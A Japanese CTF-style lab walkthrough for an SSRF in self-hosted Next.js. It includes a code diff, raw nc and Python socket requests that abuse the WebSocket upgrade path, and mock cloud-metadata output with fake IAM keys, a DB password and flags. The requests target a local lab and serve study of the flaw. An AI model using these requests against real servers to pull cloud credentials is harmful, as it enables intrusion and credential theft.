
このラボは良いかもしれないし悪いかもしれないが、テスト中だ。でも動作するはずだ。AIに聞いてみて hahah
CVE-2026-44578(CWE-918、SSRF)の脆弱性を、統合Node.jsサーバーを使用するNext.js self-hostedアプリケーションで再現するための自己完結型ラボです。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| タイプ | SSRF(CWE-918) |
| 影響を受けるバージョン | Next.js 13.4.13 – 15.5.15 および 16.0.0 – 16.2.4 |
| パッチ適用済みバージョン | 15.5.16 および 16.2.5 |
| 認証 | 不要 |
| ユーザー操作 | 不要 |
攻撃者 (host: 0.0.0.0)
│ HTTP :3000 (公開)
▼
┌──────────────────────────┐ 同じネットワーク名前空間 ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (認証情報, │
│ (統合Node.jsサーバー) │ │ user-data, インデックス) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln(ポート 3000): 脆弱なアプリ。0.0.0.0:3000 に公開。imds-sidecar: Next.jsコンテナの名前空間内の localhost:80 に存在するAWSメタデータサービスのモック。実際のクラウドインスタンスをモデル化しています。ホストから直接到達することはできません(公開ポートなし)。 CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # 自動化PoC(5プローブ)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + シークレットルート
└── nextjs-app/ # 現実的なアプリ "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # ランディング
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (脆弱)
router-server.ts のWebSocketアップグレードハンドラーは、パースされたURIに parsedUrl.protocol がある場合に proxyRequest() を呼び出しますが、通常のHTTPハンドラーが常に発行する finished および statusCode フラグをチェックしません:
// 脆弱 (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// パッチ (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
攻撃経路は二重スラッシュの絶対URIを持つリクエストラインを使用します:
GET http:///path。normalizeRepeatedSlashes は http:/// を http:/ に縮小し、ホスト名がなくなります。その後、http-proxy はパスをそのままにして localhost:80 に接続します:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade + Upgrade: websocket ヘッダーの存在により、リクエストはセキュリティチェックのあるHTTPハンドラーではなく、脆弱なアップグレードハンドラーに送られます。
docker compose up -d --build
アプリが応答することを確認します:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
0.0.0.0 で動作させるために、docker-compose.yml のポートマッピングはすでに 3000:3000 をすべてのインターフェースで公開しています。
nc)を使用printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
4つのフェーズからなる完全手動のフルフロー。内部サービス(localhost:80)には4つのフラグが隠されています。このガイドでは最初のフラグまでのフローを示し、残りを見つけるためのルートを提供します。
# サーバーのフィンガープリント
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# ソケット経由のオープンポート(nmapなし)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
攻撃者から 127.0.0.1:80 への直接アクセスはありません。唯一のベクトルは、内部サービスと同じネットワークに存在するNext.jsサーバーに、代わりにリクエストさせることです。
まず、メタデータサービスのインデックスを問い合わせてSSRFを確認します:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
インデックスの応答 → 候補: instance-id、hostname、iam/security-credentials/、user-data(最初のフラグ)。latest/meta-data/ のインデックスは、さらに探索する価値のあるサブキーも明らかにします。
GET http:///latest/user-data HTTP/1.1
| 部分 | 機能 |
|---|---|
GET | この脆弱性はGETのみをプロキシします |
http:///latest/user-data | 絶対URI。http:/// は http:/ に縮小 → ホスト名がnull → プロキシはパス /latest/user-data を保持したまま localhost:80 に接続 |
Host: 127.0.0.1:3000 | これがないとサーバーは400を返します |
Connection: Upgrade + Upgrade: websocket | リクエストを脆弱なアップグレードハンドラーに転送します(通常のHTTPハンドラーは検証します) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | 正当なハンドシェイクに必要な最小ヘッダー |
終端: 生ソケットで \r\n\r\n(ボディなし)。
# オプションA: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# オプションB: Pythonの生ソケット(ncなし、同じ精度)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
出力 — 最初のフラグは内部サービスの応答ボディに含まれます:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
フラグ 1/4 獲得。 server: BaseHTTP/0.6 ...(Pythonモック)ヘッダーは、リクエストが 攻撃者 → Next.js → localhost:80 と移動したことを確認します。つまり、フラグはSSRFによって内部ネットワークから流出したのです。残りの3つはメタデータサービスと内部サービスのルートに散在しています — latest/meta-data/ のインデックスがあなたの地図です。残りを見つけてください。
フェイクIMDS(localhost:80)は実際のAWSメタデータサービスをモデル化しています:ナビゲート可能なツリーです。各ディレクトリ(/ で終わる)はサブルートのインデックスで応答します。/ なしでディレクトリを要求すると 301 リダイレクトが返されます。隠しルートはありません。推測を必要とするフラグはありません — すべてはインデックスのナビゲーションで発見されます。
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → ブートスクリプト(internal/configを指す)
| ルート | コンテンツ |
|---|---|
latest/meta-data/ | メタデータのインデックス(上記参照) |
latest/meta-data/iam/security-credentials/ | ロール lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | AccessKeyId、SecretAccessKey、Token を含むJSON |
latest/user-data | DB認証情報を含むブートスクリプト |
latest/dynamic/instance-identity/document | インスタンスIDのJSON |
internal/config | 内部サービスの設定(DB、APIキー)— user-dataから参照 |